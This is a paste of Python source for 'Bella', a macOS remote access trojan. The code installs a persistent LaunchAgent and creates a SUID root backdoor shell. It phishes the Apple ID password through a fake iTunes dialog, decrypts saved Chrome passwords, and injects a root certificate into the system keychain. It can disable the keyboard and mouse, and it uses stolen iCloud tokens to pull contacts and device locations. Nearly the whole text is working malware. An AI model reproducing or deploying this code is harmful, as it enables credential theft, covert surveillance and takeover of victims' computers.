· 9 years ago · Mar 08, 2017, 05:48 PM
1#!/usr/bin/env python
2# -*- coding: utf-8 -*-
3import sys, socket, subprocess, time, os, platform, struct, getpass, datetime, plistlib, re, stat, grp, shutil
4import string, json, traceback, pwd, urllib, urllib2, base64, binascii, hashlib, sqlite3, bz2, pickle, ast
5import StringIO, zipfile, hmac, tempfile, ssl, select
6from xml.etree import ElementTree as ET
7from subprocess import Popen, PIPE
8from glob import glob
9development = True
10def create_bella_helpers(launch_agent_name, bella_folder, home_path):
11 if development:
12 launch_agent_create = """<?xml version=\"1.0\" encoding=\"UTF-8\"?>
13 <!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
14 <plist version=\"1.0\">
15 <dict>
16 <key>Label</key>
17 <string>%s</string>
18 <key>ProgramArguments</key>
19 <array>
20 <string>%s/Library/%s/Bella</string>
21 </array>
22 <key>StandardErrorPath</key>
23 <string>%s/Library/%s/Bella.stderr.log</string>
24 <key>StandardOutPath</key>
25 <string>%s/Library/%s/Bella.stdout.log</string>
26 <key>StartInterval</key>
27 <integer>5</integer>
28 </dict>
29 </plist>\n""" % (launch_agent_name, home_path, bella_folder, home_path, bella_folder, home_path, bella_folder)
30 else:
31 launch_agent_create = """<?xml version=\"1.0\" encoding=\"UTF-8\"?>
32 <!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
33 <plist version=\"1.0\">
34 <dict>
35 <key>Label</key>
36 <string>%s</string>
37 <key>ProgramArguments</key>
38 <array>
39 <string>%s/Library/%s/Bella</string>
40 </array>
41 <key>StartInterval</key>
42 <integer>5</integer>
43 </dict>
44 </plist>\n""" % (launch_agent_name, home_path, bella_folder)
45
46 if not os.path.isdir('%s/Library/LaunchAgents/' % home_path):
47 os.makedirs('%s/Library/LaunchAgents/' % home_path)
48 with open('%s/Library/LaunchAgents/%s.plist' % (home_path, launch_agent_name), 'wb') as content:
49 content.write(launch_agent_create)
50 print 'Created Launch Agent'
51 print 'Moving Bella'
52 if not os.path.isdir('%s/Library/%s/' % (home_path, bella_folder)):
53 os.makedirs('%s/Library/%s/' % (home_path, bella_folder))
54 if development:
55 with open(__file__, 'rb') as content:
56 with open('%s/Library/%s/Bella' % (home_path, bella_folder), 'wb') as binary:
57 binary.write(content.read())
58 else:
59 os.rename(__file__, '%s/Library/%s/Bella' % (home_path, bella_folder))
60 os.chmod('%s/Library/%s/Bella' % (home_path, bella_folder), 0777)
61 print 'Loading Launch Agent'
62 out = subprocess.Popen('launchctl load -w %s/Library/LaunchAgents/%s.plist' % (home_path, launch_agent_name), shell=True, stderr=subprocess.PIPE).stderr.read()
63 if out == '':
64 time.sleep(1)
65 ctl_list = subprocess.Popen('launchctl list'.split(), stdout=subprocess.PIPE)
66 ctl = ctl_list.stdout.read()
67 completed = False
68 for agent in ctl.splitlines():
69 if launch_agent_name in agent:
70 completed = True
71 if completed:
72 print 'Loaded LaunchAgent'
73 print 'BELLA IS NOW RUNNING. CONNECT TO BELLA FROM THE CONTROL CENTER.'
74 exit()
75 else:
76 pass
77 print 'Error loading LaunchAgent.'
78 elif 'service already loaded' in out:
79 print 'Bella is already loaded in LaunchCTL.'
80 exit()
81 else:
82 print out
83 pass
84 return
85
86def globber(path): #if we are root, this globber will give us all paths
87 if os.getuid() != 0:
88 if is_there_SUID_shell():
89 (status, msg) = do_root(r"python -c \"from glob import glob; print glob('%s')\"" % path) #special escapes
90 if status:
91 return ast.literal_eval(msg) #convert string list to list
92 return glob(path)
93
94def protected_file_lister(path):
95 if os.getuid() != 0:
96 if is_there_SUID_shell():
97 (status, msg) = do_root(r"python -c \"import os; print os.listdir('%s')\"" % path) #special escapes
98 if status:
99 return ast.literal_eval(msg)
100 return os.listdir(path)
101
102def protected_file_reader(path): #for reading files when we have a backdoor root shell
103 if os.getuid() != 0:
104 if is_there_SUID_shell():
105 (status, msg) = do_root(r"python -c \"g = open('%s'); print g.read(); g.close()\"" % path) #special escapes
106 if status:
107 return msg[:-2] #this will be a raw representation of the file. knock off last 2 carriage returns
108 if os.access(path, os.R_OK):
109 with open(path, 'r') as content:
110 return content.read()
111 return '[%s] is not accessible' % path
112
113def subprocess_manager(pid, path, name): #will keep track of a PID and its path in the global payload_list
114 global payload_list
115 payload_list.append((pid, path, name)) #path is the binary that we will shutil.rmtree for, and PID we will kill
116 return True
117
118def subprocess_cleanup(): #will clean up all of those in the global payload_list
119 global payload_list
120 for x in payload_list:
121 p = kill_pid(x[0])
122 #print 'Killed pid [%s]: %s' % (x[0], repr(p))
123 payload_cleaner()
124 #print 'removed payload [%s]: %s' % (x[1], repr(p))
125 if p:
126 print 'Killed and cleaned [%s]' % x[2]
127 payload_list.remove(x)
128
129def update_server(updated_server):
130 with open(__file__, 'wb') as content:
131 content.write(updated_server)
132 send_msg('%sUpdated [%s] with new server code.\n' % (blue_star, __file__), False)
133 send_msg('%sRestarting server!\n' % (yellow_star), False)
134 send_msg(os.kill(bellaPID, 9), False)
135 return
136
137def readDB(column, payload=False):
138 #we need the path specified below, because we cant read the helper location from DB without knowing what to read
139 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
140 c = conn.cursor()
141 try:
142 if payload:
143 c.execute("SELECT %s FROM payloads WHERE id = 1" % column)
144 else:
145 c.execute("SELECT %s FROM bella WHERE id = %s" % (column, bella_UID))
146 value = c.fetchone()[0]
147 if value == None:
148 return False
149 except TypeError as e:
150 return False
151
152 except sqlite3.OperationalError:
153 return False
154
155 return base64.b64decode(value) #DECODES the data that updatedb ENCODES!
156
157##Debug functions
158def browseDB(table="bella"):
159 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
160 conn.row_factory = sqlite3.Row
161 c = conn.cursor()
162 c.execute("SELECT * FROM %s" % table)
163 r = c.fetchone()
164 for i in range(0,len(r)):
165 try:
166 send_msg("%s: %s\n\n"% (r.keys()[i],decrypt(base64.b64decode(r[i]))),False) #Decode then decrypy
167 except:
168 try:
169 send_msg("%s: %s\n"% (r.keys()[i],base64.b64decode(r[i])),False) #Decode
170 except TypeError:
171 send_msg("%s: %s\n"% (r.keys()[i],r[i]),False) #Plaintext
172 send_msg("",True)
173 conn.close()
174
175def editDB(param,value,table="bella"):
176 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
177 if (value == "NULL"):
178 conn.execute("UPDATE %s SET %s = NULL WHERE id = %s" % (table,param,bella_UID))
179 else:
180 conn.execute("UPDATE %s SET %s = \"%s\" WHERE id = %s" % (table,param, value,bella_UID))
181 conn.commit()
182 conn.close()
183 send_msg("%s Updated Database!\n" % greenPlus,True)
184
185def updateDB(data, column):
186 data = base64.b64encode(data) #readDB will return this data DECODED
187 if not os.path.isfile("%sbella.db" % get_bella_path()):
188 creator = createDB()
189 if not creator[0]:
190 return (False, "Error creating database! [%s]" % creator[1])
191 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
192 c = conn.cursor()
193 c.execute("SELECT * FROM bella WHERE id = %s" % bella_UID)
194 if len(c.fetchall()) == 0: #then that user is not yet in our DB, so let's create them
195 c.execute("INSERT INTO bella (id, username) VALUES (%s, '%s')" % (bella_UID, get_bella_user()))
196 c.execute("UPDATE bella set %s = '%s' WHERE id = %s" % (column, data, bella_UID))
197 conn.commit()
198 conn.close()
199 return (True, '')
200
201def check_if_payloads():
202 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
203 c = conn.cursor()
204 c.execute("SELECT * FROM payloads WHERE id = 1")
205 if len(c.fetchall()) == 0: #then that user is not yet in our DB, so let's create them
206 return False
207 return True
208
209def inject_payloads(payload_encoded):
210 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
211 c = conn.cursor()
212 try:
213 (vncFile, kcFile, mcFile, rsFile, insomniaFile, lockFile, chainbreakerFile, machRace) = payload_encoded.splitlines()
214 c.execute("INSERT INTO payloads (id, vnc, keychaindump, microphone, root_shell, insomnia, lock_icon, chainbreaker, mach_race) VALUES (1, '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (vncFile.encode('base64'), kcFile.encode('base64'), mcFile.encode('base64'), rsFile.encode('base64'), insomniaFile.encode('base64'), lockFile.encode('base64'), chainbreakerFile.encode('base64'), machRace.encode('base64')))
215 conn.commit()
216 conn.close()
217 return True
218 except Exception as e:
219 print repr(e)
220 conn.close()
221 return False
222
223def createDB():
224 try:
225 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
226 c = conn.cursor()
227 c.execute("CREATE TABLE bella (id int, username text, lastLogin text, model text, mme_token text, applePass text, localPass text, chromeSS text, client_name text)")
228 c.execute("CREATE TABLE payloads(id int, vnc text, keychaindump text, microphone text, root_shell text, insomnia text, lock_icon text, chainbreaker text, mach_race text)")
229 conn.commit()
230 conn.close()
231 print "Created Bella DB"
232 except sqlite3.OperationalError as e:
233 if e[0] == "table bella already exists":
234 return (True, e)
235 else:
236 return (False, e) #some error
237 return (True, None)
238
239def encrypt(data):
240 #This function will encode any given data into base64. It will then pass this encoded data as
241 #a command line argument, into the openssl binary, where it will be encrypted with aes-128-cbc
242 #using the master key specified at the top of the program. We encode the data so there are no unicode issues
243 #the openssl binary will then return ANOTHER DIFFERENT base64 string, that is the ENCODED ENCRYPTED data
244 #this ENCODED ENCRYPTED DATA [of ENCODED RAW DATA] can be decrypted by the decrypt function, which expects a
245 #base64 input and outputs the original raw data in an encoded format. this encoded format is then decoded and returned to
246 #the subroutine that called the function.
247 data = base64.b64encode(data)
248 encrypted = subprocess.check_output("openssl enc -base64 -e -aes-128-cbc -k %s <<< '%s'" % (cryptKey, data), shell=True) #encrypt password
249 return encrypted
250
251def decrypt(data):
252 #data = base64.b64decode(data)
253 decrypted = subprocess.check_output("openssl enc -base64 -d -aes-128-cbc -k %s <<< '%s'" % (cryptKey, data), shell=True) #encrypt password
254 return base64.b64decode(decrypted)
255
256def main_iCloud_helper():
257 error, errorMessage = False, False
258 dsid, token = "", ""
259 (username, password, usingToken) = iCloud_auth_process(False)
260 error = False
261 if password == False:
262 errorMessage = "%s%s" % (red_minus, username) #username will have the error message
263 error = True
264 else:
265 content = dsid_factory(username, password)
266 if content[0] == False:
267 errorMessage =content[1]
268 error = True
269 else:
270 try:
271 (dsid, token, usingToken) = content
272 except ValueError, e:
273 errorMessage = '\n'.join(content)
274 error = True
275 return (error, errorMessage, dsid, token)
276
277def byte_convert(byte):
278 for count in ['B','K','M','G']:
279 if byte < 1024.0:
280 return ("%3.1f%s" % (byte, count)).replace('.0', '')
281 byte /= 1024.0
282 return "%3.1f%s" % (byte, 'TB')
283
284def cur_GUI_user():
285 try:
286 return subprocess.check_output("stat -f '%Su' /dev/console", shell=True).replace("\n", "")
287 except:
288 return "No Current GUI"
289
290def check_output(cmd):
291 process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
292 stderr = process.stderr.read()
293 stdout = process.stdout.read()
294 if process.wait() != 0:
295 print stderr
296 return (False, stderr, process.wait()) #failed, stderr, exit code
297 return (True, stdout, process.wait()) #completed successfully, stdout, exit code
298
299def appleIDPhishHelp():
300 returnString = ""
301 for x in get_iTunes_accounts():
302 if x[0]:
303 returnString += "Local user: [%s] Apple ID: [%s]\n" % (x[2], x[1])
304 else:
305 pass
306 return pickle.dumps((returnString, cur_GUI_user()))
307
308def appleIDPhish(username, GUIUser):
309 while True:
310 if sig_int_listener(): #user hit CTRLC, cancel.
311 return
312 check = applepwRead()
313 if isinstance(check, str): #we have file...
314 send_msg("%sApple password already found [%s] %s\n" % (blue_star, check, blue_star), False)
315 break
316 osa = "launchctl asuser " + str(bella_UID) + " osascript -e 'tell application \"iTunes\"' -e \"pause\" -e \"end tell\"; osascript -e 'tell app \"iTunes\" to activate' -e 'tell app \"iTunes\" to activate' -e 'tell app \"iTunes\" to display dialog \"Error connecting to iTunes. Please verify your password for " + username + " \" default answer \"\" with icon 1 with hidden answer with title \"iTunes Connection\"' -e 'text returned of result'"
317 #pauses music, then prompts user
318 out = check_output(osa)
319 if not out[0]:
320 #user has attempted to cancel
321 send_msg("[-] User has attempted to cancel. Trying again.\n", False)
322 continue
323 else:
324 out = out[1]
325 passw = out.replace('\n', '')
326 send_msg("%sUser has attempted to use password: %s\n" % (blue_star, passw), False)
327 check_apple_pass(username,passw)
328 send_msg('', True)
329 return 1
330
331def check_apple_pass(user,pw):
332 try:
333 request = urllib2.Request("https://setup.icloud.com/setup/get_account_settings")
334 base64string = base64.encodestring('%s:%s' % (user, pw)).replace('\n', '')
335 request.add_header("Authorization", "Basic %s" % base64string)
336 result = urllib2.urlopen(request)
337 out2 = result.read()
338 except Exception, e:
339 if str(e) == "HTTP Error 401: Unauthorized":
340 out2 = "fail?"
341 elif str(e) == "HTTP Error 409: Conflict":
342 out2 = "2sV"
343 elif "nodename nor servname provided" in str(e):
344 out2 = "offline"
345 else:
346 out2 = "otherError!"
347 send_msg(str(e),False)
348 if out2 == "fail?":
349 send_msg(red_minus + "Bad combo: [%s:%s]\n" % (user, pw), False)
350 elif out2 == "2sV":
351 send_msg("%sVerified! [2FV Enabled] Account -> [%s:%s]%s\n" % (greenPlus, user, pw, endANSI), False)
352 updateDB(encrypt("%s:%s" % (user, pw)), 'applePass')
353 os.system("osascript -e 'tell application \"iTunes\"' -e \"play\" -e \"end tell\";")
354 elif out2 == "offline":
355 send_msg("%sCan't reach Apple at this time.\n" % red_minus, False)
356 elif out2 == "otherError!":
357 send_msg("%sMysterious error with [%s:%s]\n" % (red_minus, user, pw), False)
358 else:
359 send_msg("%sVerified! Account -> %s[%s:%s]%s\n" % (greenPlus, bold, user, pw, endANSI), False)
360 updateDB(encrypt("%s:%s" % (user, pw)), 'applePass')
361 os.system("osascript -e 'tell application \"iTunes\"' -e \"play\" -e \"end tell\";")
362 send_msg("",True)
363 return
364
365def is_there_SUID_shell():
366 if os.getuid() == 0:
367 return True
368
369 if os.path.isfile(ROOT_SHELL_PATH):
370 return True
371
372 if local_pw_read():
373 #send_msg("%sLocal PW present.\n" % greenPlus, False)
374 binarymake = make_SUID_root_binary(local_pw_read(), None)
375 #send_msg(binarymake[1], False)
376 if binarymake[0]: #we have successfully created a temp root shell
377 return True
378 return False
379
380 return False
381
382def remove_SUID_shell():
383 if os.path.isfile(ROOT_SHELL_PATH):
384 try:
385 os.system('%s rm %s > /dev/null' % (ROOT_SHELL_PATH, ROOT_SHELL_PATH))
386 #send_msg('%sRemoved temporary root shell.\n' % yellow_star, False) #%
387 except Exception as e:
388 pass
389 #send_msg('%sError removing temporary root shell @ /usr/local/roots. You should delete this manually.\n' % red_minus , False)
390 return
391
392def do_root(command):
393 if os.getuid() == 0:
394 output = subprocess.Popen("%s" % command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
395 out = output.stdout.read()
396 err = output.stderr.read()
397 if output.wait() != 0:
398 return (False, '%sWe are root, but there was an error.\n%s%s' % (blue_star, yellow_star, err))
399 return (True, "%s\n" % out)
400 else:
401 if not is_there_SUID_shell():
402 return (False, '%sThere is no root shell to perform this command. See [rooter] manual entry.\n' % red_minus)
403 output = subprocess.Popen("%s \"%s\"" % (ROOT_SHELL_PATH, command), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
404 out = output.stdout.read()
405 err = output.stderr.read()
406 if err != '':
407 return (False, '%sThere is a root shell to perform this command, but there was an error.\n%s%s' % (blue_star, yellow_star, err))
408 return (True, "%s\n" % out)
409
410def cert_inject(cert):
411 cPath = tempfile.mkdtemp()
412 with open('%scert.crt' % cPath, 'w') as content:
413 content.write(cert)
414 temp_file_list.append(cPath)
415 (success, msg) = do_root("security add-trusted-cert -d -r trustRoot -k /System/Library/Keychains/SystemRootCertificates.keychain %scert.crt" % cPath)
416 if not success:
417 return "%sError injecting root CA into System Keychain:\n%s" % (red_minus, msg)
418 payload_cleaner()
419 return "%sCertificate Authority injected into System Keychain!\n" % yellow_star
420
421def cert_remove(shahash):
422 (success, msg) = do_root("security delete-certificate -Z %s /System/Library/Keychains/SystemRootCertificates.keychain" % shahash)
423 if not success:
424 return "%sError removing root CA from System Keychain:\n%s" % (red_minus, msg)
425 return "%sCertificate Authority removed from System Keychain!\n" % yellow_star
426
427def check_current_users():
428 output = check_output("w -h | sort -u -t' ' -k1,1 | awk {'print $1'}")
429 if not output[0]:
430 return "Error finding current users.\n"
431 return output[1]
432
433def check_pid(pid):
434 try:
435 os.kill(pid, 0)
436 except OSError:
437 return False
438 else:
439 return True
440
441def chrome_decrypt(encrypted_value, iv, key): #AES decryption using the PBKDF2 key and 16x ' ' IV, via openSSL (installed on OSX natively)
442 hexKey = binascii.hexlify(key)
443 hexEncPassword = base64.b64encode(encrypted_value[3:])
444 decrypted = check_output("openssl enc -base64 -d -aes-128-cbc -iv '%s' -K %s <<< %s 2>/dev/null" % (iv, hexKey, hexEncPassword))
445 if not decrypted[0]:
446 decrypted = "ERROR retrieving password.\n"
447 return decrypted[1] #otherwise we got it
448
449def chrome_dump(safe_storage_key, login_data):
450 send_msg("%s%sPasswords for [%s]%s:\n" % (yellow_star, bold + underline, login_data.split("/")[-2], endANSI), False)
451 empty = True
452 iTunesAccs = get_iTunes_accounts()
453 probablePass = []
454 for i, x in enumerate(chrome_process(safe_storage_key, "%s" % login_data)):
455 send_msg("%s[%s]%s %s%s%s\n\t%sUser%s: %s\n\t%sPass%s: %s\n" % ("\033[32m", (i + 1), "\033[0m", "\033[1m", x[0], "\033[0m", "\033[32m", "\033[0m", x[1], "\033[32m", "\033[0m", x[2]), False)
456 #send_msg("x[0]: "+x[0]+" x[1]: "+x[1],False)
457 empty = False
458 for iAcs in iTunesAccs:
459 if iAcs[1] in x[1]:
460 probablePass.append([x[1],x[2]])
461
462 if len(probablePass) > 0:
463 send_msg("\n%sFound chrome credentials that have the same iCloud email\n Try running submit_iCloud_pass with these:\n\n" % blue_star,False)
464 for candidate in probablePass:
465 send_msg("%sUser%s: %s\n%sPass%s: %s\n\n" % ("\033[32m", "\033[0m", candidate[0], "\033[32m", "\033[0m", candidate[1]), False)
466 if not empty:
467 send_msg('', False)
468 else:
469 send_msg("%sFound no Chrome Passwords for [%s].\n" % (blue_star, login_data.split("/")[-2]), False)
470
471def chrome_process(safe_storage_key, login_data):
472 iv = ''.join(('20',) * 16) #salt, iterations, iv, size - https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_mac.mm
473 key = hashlib.pbkdf2_hmac('sha1', safe_storage_key, b'saltysalt', 1003)[:16]
474 copypath = tempfile.mkdtemp() #work around for locking DB
475 dbcopy = protected_file_reader(login_data) #again, shouldnt matter because we only can decrypt DBs with keys
476 with open('%s/chrome' % copypath, 'wb') as content:
477 content.write(dbcopy) #if chrome is open, the DB will be locked, so get around by making a temp copy
478 database = sqlite3.connect('%s/chrome' % copypath)
479 sql = 'select username_value, password_value, origin_url from logins'
480 decrypted_list = []
481 with database:
482 for user, encrypted_pass, url in database.execute(sql):
483 if user == "" or (encrypted_pass[:3] != b'v10'): #user will be empty if they have selected "never" store password
484 continue
485 else:
486 url_user_pass_decrypted = (url.encode('ascii', 'ignore'), user.encode('ascii', 'ignore'), chrome_decrypt(encrypted_pass, iv, key=key).encode('ascii', 'ignore'))
487 decrypted_list.append(url_user_pass_decrypted)
488 shutil.rmtree(copypath)
489 return decrypted_list
490
491def chrome_safe_storage():
492 retString = ""
493 check = chromeSSRead()
494 if isinstance(check, str):
495 send_msg("%sPreviously generated Google Chrome Safe Storage key.\n%s%s\n" % (blue_star, blue_star, check), True)
496 return
497 while True:
498 ### CTRLC listener
499 if sig_int_listener(): #user hit CTRLC, cancel.
500 return
501 kchain = getKeychains()
502 send_msg("%sUsing [%s] as keychain.\n" % (yellow_star, kchain), False)
503
504 encryptionKey = check_output("launchctl asuser %s security find-generic-password -wa 'Chrome' '%s'" % (bella_UID, kchain)) #get rid of \n
505 if not encryptionKey[0]:
506 if 51 == encryptionKey[2]:
507 send_msg("%sUser clicked deny.\n" % red_minus, False)
508 continue
509 elif 44 == encryptionKey[2]:
510 send_msg("%sNo Chrome Safe Storage Key Found!\n" % red_minus, True)
511 return
512 else:
513 send_msg("Strange error [%s]\n" % encryptionKey[1], True)
514 return
515 updateDB(encrypt(encryptionKey[1].replace('\n', '')), 'chromeSS') #got it
516 send_msg("%sChrome Key: [%s]\n" % (blue_star, encryptionKey[1].replace('\n', '')), True)
517 return
518
519def disable_keyboard_mouse(device):
520 paths = {"keyboard": "/System/Library/Extensions/AppleUSBTopCase.kext/Contents/PlugIns/AppleUSBTCKeyboard.kext/", "mouse": "/System/Library/Extensions/AppleUSBMultitouch.kext/"}
521 (success, msg) = do_root("kextunload %s" % paths[device])
522 if not success:
523 return "%sError disabling %s.\n%s" % (red_minus, paths[device], msg)
524 return "%s%s successfully disabled!\n" % (greenPlus, device)
525
526def dsid_factory(uname, passwd):
527 resp = None
528 req = urllib2.Request("https://setup.icloud.com/setup/authenticate/%s" % uname)
529 req.add_header('Authorization', 'Basic %s' % base64.b64encode("%s:%s" % (uname, passwd)))
530 req.add_header('Content-Type', 'application/json')
531 try:
532 resp = urllib2.urlopen(req)
533 except urllib2.HTTPError as e:
534 if e.code != 200:
535 if e.code == 401:
536 return (False, "HTTP Error 401: Unauthorized. Are you sure the credentials are correct?\n", False)
537 elif e.code == 409:
538 tokenLocal = tokenRead()
539 if tokenLocal != False: #if we have token use it ... bc 2SV wont work with regular uname/passw
540 dsid = tokenLocal.split("\n")[1].split(":")[0]
541 tokz = tokenLocal.split("\n")[1].split(":")[1]
542 return (dsid, tokz, True)
543 else:
544 return (False, "HTTP Error 409: Conflict. 2 Factor Authentication appears to be enabled. You cannot use this function unless you get your MMeAuthToken manually (generated either on your PC/Mac or on your iOS device).\n", False)
545 elif e.code == 404:
546 return (False, "HTTP Error 404: URL not found. Did you enter a username?\n", False)
547 else:
548 return (False, "HTTP Error %s." % e.code, False)
549 else:
550 return e
551 content = resp.read()
552 uname = plistlib.readPlistFromString(content)["appleAccountInfo"]["dsPrsID"] #stitch our own auth DSID
553 passwd = plistlib.readPlistFromString(content)["tokens"]["mmeAuthToken"] #stitch with token
554 return (uname, passwd, False) #third value is "usingToken?"
555
556def enable_keyboard_mouse(device):
557 paths = {"keyboard": "/System/Library/Extensions/AppleUSBTopCase.kext/Contents/PlugIns/AppleUSBTCKeyboard.kext/", "mouse": "/System/Library/Extensions/AppleUSBMultitouch.kext/"}
558 (success, msg) = do_root("kextload %s" % paths[device])
559 if not success:
560 return "%sError enabling %s.\n%s" % (red_minus, paths[device], msg)
561 return "%s%s successfully enabled!\n" % (greenPlus, device)
562
563def enumerate_chrome_profiles():
564 return globber("/Users/*/Library/Application Support/Google/Chrome/*/Login Data")
565
566def FMIP(username, password):
567 i = 0
568 try: #if we are given a FMIP token, change auth Type
569 int(username)
570 authType = "Forever"
571 except ValueError: #else apple id use useridguest
572 authType = "UserIDGuest"
573 while True:
574 i +=1
575 url = 'https://fmipmobile.icloud.com/fmipservice/device/%s/initClient' % username
576 headers = {
577 'X-Apple-Realm-Support': '1.0',
578 'Authorization': 'Basic %s' % base64.b64encode("%s:%s" % (username, password)),
579 'X-Apple-Find-API-Ver': '3.0',
580 'X-Apple-AuthScheme': '%s' % authType,
581 'User-Agent': 'FindMyiPhone/500 CFNetwork/758.4.3 Darwin/15.5.0',
582 }
583 request = urllib2.Request(url, None, headers)
584 request.get_method = lambda: "POST"
585 try:
586 response = urllib2.urlopen(request)
587 z = json.loads(response.read())
588 except urllib2.HTTPError as e:
589 if e.code == 401:
590 return "Authorization Error 401. Try credentials again."
591 if e.code == 403:
592 pass #can ignore
593 raise e
594 if i == 2: #loop twice / send request twice
595 break
596 send_msg("Sent \033[92mlocation\033[0m beacon to \033[91m[%s]\033[0m devices\n" % len(z["content"]), False)
597 send_msg("Awaiting response from iCloud...\n", False)
598 #okay, FMD request has been sent, now lets wait a bit for iCloud to get results, and then do again, and then break
599 time.sleep(5)
600 send_msg("\033[94m(%s %s | %s)\033[0m -> \033[92mFound %s Devices\033[0m\n-------\n" % (z["userInfo"]["firstName"], z["userInfo"]["lastName"], username, len(z["content"])), False)
601 i = 1
602 for y in z["content"]:
603 try:
604 send_msg("Device [%s]\n" % i, False)
605 i += 1
606 send_msg("Model: %s\n" % y["deviceDisplayName"], False)
607 send_msg("Name: %s\n" % y["name"], False)
608 timeStamp = y["location"]["timeStamp"] / 1000
609 timeNow = time.time()
610 timeDelta = timeNow - timeStamp #time difference in seconds
611 minutes, seconds = divmod(timeDelta, 60) #great function, saves annoying maths
612 hours, minutes = divmod(minutes, 60)
613 timeStamp = datetime.datetime.fromtimestamp(timeStamp).strftime("%A, %B %d at %I:%M:%S")
614 if hours > 0:
615 timeStamp = "%s (%sh %sm %ss ago)" % (timeStamp, str(hours).split(".")[0], str(minutes).split(".")[0], str(seconds).split(".")[0])
616 else:
617 timeStamp = "%s (%sm %ss ago)" % (timeStamp, str(minutes).split(".")[0], str(seconds).split(".")[0])
618 send_msg("Latitude, Longitude: <%s;%s>\n" % (y["location"]["latitude"], y["location"]["longitude"]), False)
619 send_msg("Battery: %s & %s\n" % (y["batteryLevel"], y["batteryStatus"]), False)
620 send_msg("\033[92mLocated at: %s\033[0m\n" % timeStamp, False)
621 send_msg("-------\n", False)
622 except TypeError,e :
623 send_msg("\033[92mCould not get GPS lock!\033[0m\n", False)
624 send_msg('', True)
625 return 0
626
627def get_card_links(dsid, token):
628 url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid
629 headers = {
630 'Depth': '1',
631 'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)),
632 'Content-Type': 'text/xml',
633 }
634 data = """<?xml version="1.0" encoding="UTF-8"?>
635 <A:propfind xmlns:A="DAV:">
636 <A:prop>
637 <A:getetag/>
638 </A:prop>
639 </A:propfind>
640 """
641 request = urllib2.Request(url, data, headers)
642 request.get_method = lambda: 'PROPFIND' #replace the get_method fxn from its default to PROPFIND to allow for successfull cardDav pull
643 response = urllib2.urlopen(request)
644 zebra = ET.fromstring(response.read())
645 returnedData = """<?xml version="1.0" encoding="UTF-8"?>
646 <F:addressbook-multiget xmlns:F="urn:ietf:params:xml:ns:carddav">
647 <A:prop xmlns:A="DAV:">
648 <A:getetag/>
649 <F:address-data/>
650 </A:prop>\n"""
651 for response in zebra:
652 for link in response:
653 href = response.find('{DAV:}href').text #get each link in the tree
654 returnedData += "<A:href xmlns:A=\"DAV:\">%s</A:href>\n" % href
655 return "%s</F:addressbook-multiget>" % str(returnedData)
656
657def get_card_data(dsid, token):
658 url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid
659 headers = {
660 'Content-Type': 'text/xml',
661 'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)),
662 }
663 data = get_card_links(dsid, token)
664 request = urllib2.Request(url, data, headers)
665 request.get_method = lambda: 'REPORT' #replace the get_method fxn from its default to REPORT to allow for successfull cardDav pull
666 response = urllib2.urlopen(request)
667 zebra = ET.fromstring(response.read())
668 i = 0
669 contactList, phoneList, cards = [], [], []
670 for response in zebra:
671 tel, contact, email = [], [], []
672 name = ""
673 vcard = response.find('{DAV:}propstat').find('{DAV:}prop').find('{urn:ietf:params:xml:ns:carddav}address-data').text
674 if vcard:
675 for y in vcard.splitlines():
676 if y.startswith("FN:"):
677 name = y[3:]
678 if y.startswith("TEL;"):
679 tel.append((y.split("type")[-1].split(":")[-1].replace("(", "").replace(")", "").replace(" ", "").replace("-", "").encode("ascii", "ignore")))
680 if y.startswith("EMAIL;") or y.startswith("item1.EMAIL;"):
681 email.append(y.split(":")[-1])
682 cards.append(([name], tel, email))
683 return sorted(cards)
684
685def get_iTunes_accounts():
686 iClouds = globber("/Users/%s/Library/Accounts/Accounts3.sqlite" % get_bella_user()) #we are only interested in the current GUI user
687 returnList = []
688 for x in iClouds:
689 database = sqlite3.connect(x)
690 try:
691 accounts = list(database.execute("SELECT ZUSERNAME FROM ZACCOUNT WHERE ZACCOUNTDESCRIPTION='iCloud'"))
692 username = accounts[0][0] #gets just the first account, no multiuser support yet
693 returnList.append((True, username, x.split("/")[2]))
694 except Exception, e:
695 if str(e) == "list index out of range":
696 returnList.append((False, "No iCloud Accounts present\n", x.split("/")[2]))
697 else:
698 returnList.append((False, "%s\n" % str(e), x.split("/")[2]))
699 return returnList
700
701def get_model():
702 model = readDB('model')
703 if not model:
704 return model
705 return model
706
707def heard_it_from_a_friend_who(uDsid, mmeAuthToken, cardData):
708 mmeFMFAppToken = tokenFactory(base64.b64encode("%s:%s" % (uDsid, mmeAuthToken)))[0][2]
709 url = 'https://p04-fmfmobile.icloud.com/fmipservice/friends/%s/refreshClient' % uDsid
710 headers = {
711 'Authorization': 'Basic %s' % base64.b64encode("%s:%s" % (uDsid, mmeFMFAppToken)),#FMF APP TOKEN
712 'Content-Type': 'application/json; charset=utf-8',
713 }
714 data = {
715 "clientContext": {
716 "appVersion": "5.0" #critical for getting appropriate config / time apparently.
717 }
718 }
719 jsonData = json.dumps(data)
720 send_msg('%sRequesting FMF data.\n' % blue_star, False)
721 request = urllib2.Request(url, jsonData, headers)
722 i = 0
723 while 1:
724 try:
725 response = urllib2.urlopen(request)
726 break
727 except: #for some reason this exception needs to be caught a bunch of times before the request is made.
728 i +=1
729 continue
730 x = json.loads(response.read())
731 send_msg('%sGot FMF Data.\n' % yellow_star, False)
732 dsidList = []
733 phoneList = [] #need to find how to get corresponding name from CalDav
